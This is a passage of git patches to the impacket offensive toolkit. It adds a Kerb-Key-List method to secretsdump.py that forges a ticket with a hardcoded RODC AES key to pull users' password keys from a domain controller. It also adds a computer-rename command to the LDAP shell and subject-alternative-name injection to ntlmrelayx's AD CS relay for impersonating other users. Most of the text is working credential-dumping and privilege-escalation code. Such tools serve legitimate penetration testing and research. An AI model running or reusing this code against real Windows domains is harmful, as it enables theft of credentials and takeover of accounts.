self.__isRemote is True: - SECURITYFileName = self.__remoteOps.saveSECURITY() + self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) + self.__SAMHashes.dump() + if self.__outputFileName is not None: + self.__SAMHashes.export(self.__outputFileName) + except Exception as e: + logging.error('SAM hashes extraction failed: %s' % str(e)) + + try: + if self.__isRemote is True: + SECURITYFileName = self.__remoteOps.saveSECURITY() + else: + SECURITYFileName = self.__securityHive + + self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, + isRemote=self.__isRemote, history=self.__history) + self.__LSASecrets.dumpCachedHashes() + if self.__outputFileName is not None: + self.__LSASecrets.exportCached(self.__outputFileName) + self.__LSASecrets.dumpSecrets() + if self.__outputFileName is not None: + self.__LSASecrets.exportSecrets(self.__outputFileName) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error('LSA hashes extraction failed: %s' % str(e)) + + # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work + if self.__isRemote is True: + if self.__useVSSMethod and self.__remoteOps is not None: + NTDSFileName = self.__remoteOps.saveNTDS() else: - SECURITYFileName = self.__securityHive - - self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, - isRemote=self.__isRemote, history=self.__history) - self.__LSASecrets.dumpCachedHashes() - if self.__outputFileName is not None: - self.__LSASecrets.exportCached(self.__outputFileName) - self.__LSASecrets.dumpSecrets() - if self.__outputFileName is not None: - self.__LSASecrets.exportSecrets(self.__outputFileName) + NTDSFileName = None + else: + NTDSFileName = self.__ntdsFile + + self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, + noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, + useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, + pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, + outputFileName=self.__outputFileName, justUser=self.__justUser, + printUserStatus= self.__printUserStatus) + try: + self.__NTDSHashes.dump() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() - logging.error('LSA hashes extraction failed: %s' % str(e)) - - # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work - if self.__isRemote is True: - if self.__useVSSMethod and self.__remoteOps is not None: - NTDSFileName = self.__remoteOps.saveNTDS() - else: - NTDSFileName = None - else: - NTDSFileName = self.__ntdsFile - - self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, - noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, - useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, - pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, - outputFileName=self.__outputFileName, justUser=self.__justUser, - printUserStatus= self.__printUserStatus) - try: - self.__NTDSHashes.dump() - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: - # We don't store the resume file if this error happened, since this error is related to lack - # of enough privileges to access DRSUAPI. - resumeFile = self.__NTDSHashes.getResumeSessionFile() - if resumeFile is not None: - os.unlink(resumeFile) - logging.error(e) - if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0: - logging.info("You just got that error because there might be some duplicates of the same name. " - "Try specifying the domain name for the user as well. It is important to specify it " - "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") - elif self.__useVSSMethod is False: - logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') - self.cleanup() + if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: + # We don't store the resume file if this error happened, since this error is related to lack + # of enough privileges to access DRSUAPI. + resumeFile = self.__NTDSHashes.getResumeSessionFile() + if resumeFile is not None: + os.unlink(resumeFile) + logging.error(e) + if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0: + logging.info("You just got that error because there might be some duplicates of the same name. " + "Try specifying the domain name for the user as well. It is important to specify it " + "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") + elif self.__useVSSMethod is False: + logging.info('Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter') + self.cleanup() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback @@ -270,6 +282,8 @@ def cleanup(self): self.__LSASecrets.finish() if self.__NTDSHashes: self.__NTDSHashes.finish() + if self.__KeyListSecrets: + self.__KeyListSecrets.finish() # Process command-line arguments. @@ -299,9 +313,14 @@ def cleanup(self): parser.add_argument('-outputfile', action='store', help='base output filename. Extensions will be added for sam, secrets, cached and ntds') parser.add_argument('-use-vss', action='store_true', default=False, - help='Use the VSS method insead of default DRSUAPI') + help='Use the VSS method instead of default DRSUAPI') + parser.add_argument('-rodcNo', action='store', type=int, help='Number of the RODC krbtgt account (only avaiable to Kerb-Key-List approach)') + parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller (only avaiable to Kerb-Key-List approach)') + parser.add_argument('-use-keylist', action='store_true', default=False, + help='Use the Kerb-Key-List method instead of default DRSUAPI') parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec ' 'method to use at target (only when using -use-vss). Default: smbexec') + group = parser.add_argument_group('display options') group.add_argument('-just-dc-user', action='store', metavar='USERNAME', help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. ' @@ -315,8 +334,8 @@ def cleanup(self): group.add_argument('-user-status', action='store_true', default=False, help='Display whether or not the user is disabled') group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal') - group = parser.add_argument_group('authentication') + group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' @@ -324,6 +343,7 @@ def cleanup(self): ' the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication' ' (128 or 256 bits)') + group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index fd2211f789..1849b39e34 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -59,7 +59,7 @@ import time from binascii import unhexlify, hexlify from collections import OrderedDict -from datetime import datetime +from datetime import datetime, timedelta from struct import unpack, pack from six import b, PY2 @@ -84,14 +84,30 @@ from impacket.uuid import string_to_bin from impacket.crypto import transformKey from impacket.krb5 import constants -from impacket.krb5.crypto import string_to_key +from impacket.krb5.asn1 import Ticket as TicketAsn1, EncTicketPart, AP_REQ, seq_set, Authenticator, TGS_REQ, \ + seq_set_iter, TGS_REP, EncTGSRepPart, KERB_KEY_LIST_REP +from impacket.krb5.constants import ProtocolVersionNumber, TicketFlags, PrincipalNameType, encodeFlags, EncryptionTypes +from impacket.krb5.crypto import string_to_key, Key, _enctype_table +from impacket.krb5.kerberosv5 import sendReceive +from impacket.krb5.types import KerberosTime, Principal, Ticket try: from Cryptodome.Cipher import DES, ARC4, AES from Cryptodome.Hash import HMAC, MD4, MD5 except ImportError: LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex") LOG.critical("See https://pypi.org/project/pycryptodomex/") +try: + import pyasn1 + from pyasn1.type.univ import noValue, SequenceOf, Integer + from pyasn1.codec.der import encoder, decoder +except ImportError: + LOG.critical('This module needs pyasn1 installed') +try: + rand = random.SystemRandom() +except NotImplementedError: + rand = random + pass # Structures # Taken from https://insecurety.net/?p=768 @@ -577,6 +593,36 @@ def getDomainUsers(self, enumerationContext=0): resp = e.get_packet() return resp + def getGroupsInDomain(self): + try: + resp = samr.hSamrEnumerateGroupsInDomain(self.__samr, self.__domainHandle) + except DCERPCException as e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + return resp + + def getAliasesInDomain(self): + try: + resp = samr.hSamrEnumerateAliasesInDomain(self.__samr, self.__domainHandle) + except DCERPCException as e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + return resp + + def getMembersInGroup(self, rid): + ans = samr.hSamrOpenGroup(self.__samr, self.__domainHandle, groupId=rid) + resp = samr.hSamrGetMembersInGroup(self.__samr, ans['GroupHandle']) + + return resp + + def getMembersInAlias(self, rid): + ans = samr.hSamrOpenAlias(self.__samr, self.__domainHandle, aliasId=rid) + resp = samr.hSamrGetMembersInAlias(self.__samr, ans['AliasHandle']) + + return resp + def getDomainSid(self): if self.__domainSid is not None: return self.__domainSid @@ -618,6 +664,14 @@ def getMachineNameAndDomain(self): else: return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain() + def getDNSDomain(self): + if self.__smbConnection.getServerDNSDomainName() == '': + # Todo: figure out an RPC call that gives us the domain FQDN + # instead of the NETBIOS name as NetrWkstaGetInfo does + return b'' + else: + return self.__smbConnection.getServerDNSDomainName() + def getDefaultLoginAccount(self): try: ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') @@ -2675,5 +2729,235 @@ def checkNoLMHashPolicy(self): LOG.debug('LMHashes are NOT being stored') return True + +class KeyListSecrets: + def __init__(self, domainName, kdc, kvno, remoteOps=None): + self.__remoteOps = remoteOps + self.__keyVersionNumber = kvno + if self.__remoteOps is None: + self.__kdcHostName = kdc + self.__domain = domainName + else: + self.__kdcHostName = self.__remoteOps.getMachineNameAndDomain()[0] + self.__domain = self.__remoteOps.getDNSDomain() + + def dump(self): + LOG.info('Using the KERB-KEY-LIST method to get secrets') + self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1]) + targetList = self.getAllowedUsersToReplicate() + for targetUser in targetList: + user = targetUser.split(":")[0] + targetUserName = Principal('%s' % user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + partialTGT, sessionKey = self.createPartialTGT(targetUserName) + fullTGT = self.getFullTGT(targetUserName, partialTGT, sessionKey) + if fullTGT is not None: + key = self.getKey(fullTGT, sessionKey) + print(self.__domain + "\\" + targetUser + ":" + key[2:]) + + def createPartialTGT(self, userName): + # We need the ticket template + partialTGT = TicketAsn1() + partialTGT['tkt-vno'] = ProtocolVersionNumber.pvno.value + partialTGT['realm'] = self.__domain + partialTGT['sname'] = noValue + partialTGT['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value + partialTGT['sname']['name-string'][0] = 'krbtgt' + partialTGT['sname']['name-string'][1] = self.__domain + partialTGT['enc-part'] = noValue + partialTGT['enc-part']['kvno'] = self.__keyVersionNumber << 16 + partialTGT['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value + + # We create the encrypted ticket part + encTicketPart = EncTicketPart() + # We need these flags: 01000000100000010000000000000000 + flags = list() + flags.append(TicketFlags.forwardable.value) + flags.append(TicketFlags.renewable.value) + flags.append(TicketFlags.enc_pa_rep.value) + + # We fill in the encripted part + encTicketPart['flags'] = encodeFlags(flags) + encTicketPart['key'] = noValue + encTicketPart['key']['keytype'] = partialTGT['enc-part']['etype'] + encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)]) + encTicketPart['crealm'] = self.__domain + encTicketPart['cname'] = noValue + encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value + encTicketPart['cname']['name-string'] = noValue + encTicketPart['cname']['name-string'][0] = userName + encTicketPart['transited'] = noValue + encTicketPart['transited']['tr-type'] = 0 + encTicketPart['transited']['contents'] = '' + encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.utcnow()) + encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.utcnow()) + # Let's extend the ticket's validity a lil bit + ticketDuration = datetime.utcnow() + timedelta(days=int(120)) + encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) + encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) + # We don't need PAC + encTicketPart['authorization-data'] = noValue + # We encode the encripted part + encodedEncTicketPart = encoder.encode(encTicketPart) + # and we encrypt it with the RODC key + cipher = _enctype_table[partialTGT['enc-part']['etype']] + key = Key(cipher.enctype, unhexlify('97b2d3f45f2300e14594d70cb6ff98c4303452a5c2ae8e446ad09d9cd22afb37')) + # key usage 2 -> key tgt service + cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None) + + partialTGT['enc-part']['cipher'] = cipherText + sessionKey = encTicketPart['key']['keyvalue'] + + return partialTGT, sessionKey + + def getFullTGT(self, userName, partialTGT, sessionKey): + ticket = Ticket() + ticket.from_asn1(partialTGT) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = partialTGT['realm'].asOctets() + + seq_set(authenticator, 'cname', userName.components_to_asn1) + + now = datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + cipher = _enctype_table[partialTGT['enc-part']['etype']] + keyAuth = Key(cipher.enctype, bytes(sessionKey)) + encryptedEncodedAuthenticator = cipher.encrypt(keyAuth, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + tgsReq = TGS_REQ() + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + encodedApReq = encoder.encode(apReq) + tgsReq['padata'][0]['padata-value'] = encodedApReq + tgsReq['padata'][1] = noValue + tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.KERB_KEY_LIST_REQ.value) + encodedKeyReq = encoder.encode([23], asn1Spec=SequenceOf(componentType=Integer())) + tgsReq['padata'][1]['padata-value'] = encodedKeyReq + + reqBody = seq_set(tgsReq, 'req-body') + + opts = list() + opts.append(constants.KDCOptions.canonicalize.value) + + reqBody['kdc-options'] = constants.encodeFlags(opts) + serverName = Principal("krbtgt", type=PrincipalNameType.NT_SRV_INST.value) + reqBody['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value + reqBody['sname']['name-string'][0] = serverName + reqBody['sname']['name-string'][1] = self.__domain + reqBody['realm'] = self.__domain + + now = datetime.utcnow() + timedelta(days=1) + + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = rand.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(cipher.enctype), + int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.rc4_hmac_exp.value), + int(constants.EncryptionTypes.rc4_hmac_old_exp.value) + ) + ) + + message = encoder.encode(tgsReq) + # Let's send our TGS Request, the response will include the FULL TGT with the keys!!! + try: + logging.debug("Requesting a service ticket for the user %s", userName) + resp = sendReceive(message, self.__domain, self.__kdcHostName) + except Exception as error: + if str(error).find('KDC_ERR_TGT_REVOKED') >= 0 or str(error).find('KDC_ERR_CLIENT_REVOKED') >= 0: + logging.error("User %s is not allowed to have passwords replicated in RODCs", userName) + elif str(error).find('KDC_ERR_C_PRINCIPAL_UNKNOWN') >= 0: + logging.error("User %s doesn't exist", userName) + elif str(error).find('KDC_ERR_WRONG_REALM') >= 0: + logging.error("Domain '%s' doesn't exist", self.__domain) + else: + logging.error(error) + return None + return resp + + @staticmethod + def getKey(resp, sessionKey): + tgsRep = decoder.decode(resp, asn1Spec=TGS_REP())[0] + + encTGSRepPart = tgsRep['enc-part'] + enctype = encTGSRepPart['etype'] + cipher = _enctype_table[enctype] + + keyAuth = Key(cipher.enctype, bytes(sessionKey)) + decryptedTGSRepPart = cipher.decrypt(keyAuth, 8, encTGSRepPart['cipher']) + decodedTGSRepPart = decoder.decode(decryptedTGSRepPart, asn1Spec=EncTGSRepPart())[0] + encPaData1 = decodedTGSRepPart['encrypted_pa_data'][0] + decodedPaData1 = decoder.decode(encPaData1['padata-value'], asn1Spec=KERB_KEY_LIST_REP())[0] + key = decodedPaData1[0]['keyvalue'].prettyPrint() + + return key + + def getAllowedUsersToReplicate(self): + # Enumerate all groups in domain + resp = self.__remoteOps.getGroupsInDomain() + groupsList = [] + for group in resp['Buffer']['Buffer']: + groupsList.append(group['RelativeId']) + + # Enumerate all aliases in domain + resp = self.__remoteOps.getAliasesInDomain() + aliasesList = [] + for alias in resp['Buffer']['Buffer']: + aliasesList.append(alias['RelativeId']) + + # Enumerate denied users to replicate (alias "Denied Password Replication" RID:572) + resp = self.__remoteOps.getMembersInAlias(rid=572) + deniedList = [500, 501, 502, 503] + for user in resp['Members']['Sids']: + rid = user['Data']['SidPointer']['SubAuthority'][4] + if rid not in deniedList: + deniedList.append(rid) + + # Enumerate denied users in nested groups/aliases + for rid in deniedList: + if rid in groupsList: + resp = self.__remoteOps.getMembersInGroup(rid) + for user in resp['Members']['Members']: + rid2 = user['Data'] + if rid2 not in deniedList: + deniedList.append(rid2) + elif rid in aliasesList: + resp = self.__remoteOps.getMembersInAlias(rid) + for user in resp['Members']['Sids']: + rid2 = user['Data']['SidPointer']['SubAuthority'][4] + if rid2 not in deniedList: + deniedList.append(rid2) + + # Enumerate all users and filter denied ones + resp = self.__remoteOps.getDomainUsers() + targetList = [] + for user in resp['Buffer']['Buffer']: + if user['RelativeId'] not in deniedList and "krbtgt_" not in user['Name']: + targetList.append(user['Name'] + ":" + str(user['RelativeId'])) + + return targetList + + def _print_helper(*args, **kwargs): print(args[-1]) From 1b0b3383c486dec6851dcea6e3517e8814f00d7f Mon Sep 17 00:00:00 2001 From: 0xdeaddood Date: Mon, 15 Nov 2021 18:06:11 -0300 Subject: [PATCH 10/44] Added paramater validation --- examples/secretsdump.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/examples/secretsdump.py b/examples/secretsdump.py index 81179b01c8..707728f535 100755 --- a/examples/secretsdump.py +++ b/examples/secretsdump.py @@ -314,8 +314,8 @@ def cleanup(self): help='base output filename. Extensions will be added for sam, secrets, cached and ntds') parser.add_argument('-use-vss', action='store_true', default=False, help='Use the VSS method instead of default DRSUAPI') - parser.add_argument('-rodcNo', action='store', type=int, help='Number of the RODC krbtgt account (only avaiable to Kerb-Key-List approach)') - parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller (only avaiable to Kerb-Key-List approach)') + parser.add_argument('-rodcNo', action='store', type=int, help='Number of the RODC krbtgt account (only avaiable for Kerb-Key-List approach)') + parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller (only avaiable for Kerb-Key-List approach)') parser.add_argument('-use-keylist', action='store_true', default=False, help='Use the Kerb-Key-List method instead of default DRSUAPI') parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec ' @@ -388,6 +388,10 @@ def cleanup(self): logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode') sys.exit(1) + if options.use_keylist is True and (options.rodcNo is None or options.rodcKey is None): + logging.error('Both the RODC ID number and the RODC key are required for the Kerb-Key-List approach') + sys.exit(1) + if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None: logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode') sys.exit(1) From e155103ea2637c3998af2680ee3a3efdb9b94072 Mon Sep 17 00:00:00 2001 From: capnkrunchy Date: Fri, 10 Dec 2021 18:37:36 -0600 Subject: [PATCH 11/44] Add rename_computer and modify add_computer in ldap interactive shell --- impacket/examples/ldap_shell.py | 78 ++++++++++++++++++++++++++++----- 1 file changed, 67 insertions(+), 11 deletions(-) diff --git a/impacket/examples/ldap_shell.py b/impacket/examples/ldap_shell.py index ccc70a85f9..57b67d4049 100755 --- a/impacket/examples/ldap_shell.py +++ b/impacket/examples/ldap_shell.py @@ -137,8 +137,8 @@ def do_add_computer(self, line): if not self.client.server.ssl: print("Error adding a new computer with LDAP requires LDAPS.") - if len(args) != 1 and len(args) != 2: - raise Exception("Error expected a computer name and an optional password argument.") + if len(args) != 1 and len(args) != 2 and len(args) !=3: + raise Exception("Error expected a computer name, an optional password argument, and an optional nospns argument.") computer_name = args[0] if not computer_name.endswith('$'): @@ -147,7 +147,7 @@ def do_add_computer(self, line): print("Attempting to add a new computer with the name: %s" % computer_name) password = "" - if len(args) == 1: + if len(args) == 1 or args[1] == "nospns": password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) else: password = args[1] @@ -161,13 +161,35 @@ def do_add_computer(self, line): computer_hostname = computer_name[:-1] # Remove $ sign computer_dn = "CN=%s,CN=Computers,%s" % (computer_hostname, self.domain_dumper.root) print("New Computer DN: %s" % computer_dn) - - spns = [ - 'HOST/%s' % computer_hostname, - 'HOST/%s.%s' % (computer_hostname, domain), - 'RestrictedKrbHost/%s' % computer_hostname, - 'RestrictedKrbHost/%s.%s' % (computer_hostname, domain), - ] + + if len(args) == 3: + if args[2] == "nospns": + spns = [ + 'HOST/%s.%s' % (computer_hostname, domain) + ] + else: + raise Exception("Invalid third argument: %s" %str(args[3])) + elif len(args) == 2: + if args[1] != "nospns": + spns = [ + 'HOST/%s' % computer_hostname, + 'HOST/%s.%s' % (computer_hostname, domain), + 'RestrictedKrbHost/%s' % computer_hostname, + 'RestrictedKrbHost/%s.%s' % (computer_hostname, domain), + ] + elif args[1] == "nospns": + spns = [ + 'HOST/%s.%s' % (computer_hostname, domain) + ] + elif len(args) == 1: + spns = [ + 'HOST/%s' % computer_hostname, + 'HOST/%s.%s' % (computer_hostname, domain), + 'RestrictedKrbHost/%s' % computer_hostname, + 'RestrictedKrbHost/%s.%s' % (computer_hostname, domain), + ] + else: + raise Exception("Invalid third argument: %s" %str(self.args[3])) ucd = { 'dnsHostName': '%s.%s' % (computer_hostname, domain), 'userAccountControl': 4096, @@ -186,6 +208,39 @@ def do_add_computer(self, line): else: print('Adding new computer with username: %s and password: %s result: OK' % (computer_name, password)) + def do_rename_computer(self, line): + args = shlex.split(line) + + if len(args) != 2: + raise Exception("Current Computer sAMAccountName and New Computer sAMAccountName required (rename_computer comp1$ comp2$).") + + current_name = args[0] + + new_name = args[1] + + self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(current_name), attributes=['objectSid', 'sAMAccountName']) + computer_dn = self.client.entries[0].entry_dn + + if not computer_dn: + raise Exception("Computer not found in LDAP: %s" % current_name) + + entry = self.client.entries[0] + samAccountName = entry["samAccountName"].value + print("Original sAMAccountName: %s" % samAccountName) + + print("New sAMAccountName: %s" % new_name) + self.client.modify(computer_dn, {'sAMAccountName':(ldap3.MODIFY_REPLACE, [new_name])}) + + if self.client.result["result"] == 0: + print("Updated sAMAccountName successfully") + else: + if self.client.result['result'] == 50: + raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) + elif self.client.result['result'] == 19: + raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) + else: + raise Exception('The server returned an error: %s', self.client.result['message']) + def do_add_user(self, line): args = shlex.split(line) if len(args) == 0: @@ -566,7 +621,8 @@ def do_exit(self, line): def do_help(self, line): print(""" - add_computer computer [password] - Adds a new computer to the domain with the specified password. Requires LDAPS. + add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS. + rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value. add_user new_user [parent] - Creates a new user. add_user_to_group user group - Adds a user to a group. change_password user [password] - Attempt to change a given user's password. Requires LDAPS. From 981923da0a480327b385a5c5b096a6a5122cef04 Mon Sep 17 00:00:00 2001 From: hugo-syn Date: Wed, 5 Jan 2022 09:58:56 +0100 Subject: [PATCH 12/44] ADCS ESC1 and ESC6 support --- examples/ntlmrelayx.py | 2 ++ .../ntlmrelayx/attacks/httpattacks/adcsattack.py | 16 +++++++++++++++- impacket/examples/ntlmrelayx/utils/config.py | 4 ++++ 3 files changed, 21 insertions(+), 1 deletion(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index f065e409d4..c2bfd2d50a 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -166,6 +166,7 @@ def start_servers(options, threads): c.setWebDAVOptions(options.serve_image) c.setIsADCSAttack(options.adcs) c.setADCSOptions(options.template) + c.setAltName(options.altname) if server is HTTPRelayServer: c.setListeningPort(options.http_port) @@ -326,6 +327,7 @@ def stop_servers(threads): adcsoptions = parser.add_argument_group("AD CS attack options") adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack') adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, default="Machine", help='AD CS template. If you are attacking Domain Controller or other windows server machine, default value should be suitable.') + adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.') try: options = parser.parse_args() diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py index bb60f9f314..eaab5171cf 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py @@ -36,7 +36,9 @@ def _run(self): csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+") LOG.info("CSR generated!") - data = "Mode=newreq&CertRequest=%s&CertAttrib=CertificateTemplate:%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, self.config.template) + certAttrib = self.generate_certattributes(self.config.template, self.config.altName) + + data = "Mode=newreq&CertRequest=%s&CertAttrib=%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, certAttrib) headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", @@ -70,11 +72,17 @@ def _run(self): certificate_store = self.generate_pfx(key, certificate) LOG.info("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode())) + LOG.info("This certificate can also be used for user : {}".format(self.config.altName) def generate_csr(self, key, CN): LOG.info("Generating CSR...") req = crypto.X509Req() req.get_subject().CN = CN + + if altName: + req.add_extensions([crypto.X509Extension(b"subjectAltName", False, b"otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b" % altName.encode() )]) + + req.set_pubkey(key) req.sign(key, "sha256") @@ -86,3 +94,9 @@ def generate_pfx(self, key, certificate): p12.set_certificate(certificate) p12.set_privatekey(key) return p12.export() + + def generate_certattributes(self, template, altName): + + if altName: + return "CertificateTemplate:{}%0d%0aSAN:upn={}".format(template, altName) + return "CertificateTemplate:{}".format(template) diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index d447eb8509..2b3fda942a 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -97,6 +97,7 @@ def __init__(self): # AD CS attack options self.isADCSAttack = False self.template = None + self.altName = None def setSMBChallenge(self, value): self.SMBServerChallenge = value @@ -218,3 +219,6 @@ def setADCSOptions(self, template): def setIsADCSAttack(self, isADCSAttack): self.isADCSAttack = isADCSAttack + + def setAltName(self, altName): + self.altName = altName From 2ab3136c0f187d6489f3c79b8e3917c04ca8102c Mon Sep 17 00:00:00 2001 From: hugo-syn Date: Wed, 5 Jan 2022 10:12:43 +0100 Subject: [PATCH 13/44] fix log --- .../examples/ntlmrelayx/attacks/httpattacks/adcsattack.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py index eaab5171cf..4e5eadbad1 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py @@ -32,7 +32,7 @@ def _run(self): if self.username in ELEVATED: LOG.info('Skipping user %s since attack was already performed' % self.username) return - csr = self.generate_csr(key, self.username) + csr = self.generate_csr(key, self.username, self.config.altName) csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+") LOG.info("CSR generated!") @@ -72,9 +72,11 @@ def _run(self): certificate_store = self.generate_pfx(key, certificate) LOG.info("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode())) - LOG.info("This certificate can also be used for user : {}".format(self.config.altName) - def generate_csr(self, key, CN): + if self.config.altName: + LOG.info("This certificate can also be used for user : {}".format(self.config.altName)) + + def generate_csr(self, key, CN, altName): LOG.info("Generating CSR...") req = crypto.X509Req() req.get_subject().CN = CN From f139e11255dedfc0f5836c9b3c0bb93c40307d8c Mon Sep 17 00:00:00 2001 From: SAERXCIT <78735647+SAERXCIT@users.noreply.github.com> Date: Thu, 20 Jan 2022 18:04:59 +0100 Subject: [PATCH 14/44] ntlmrelayx can have multiple http listeners at the same time --- 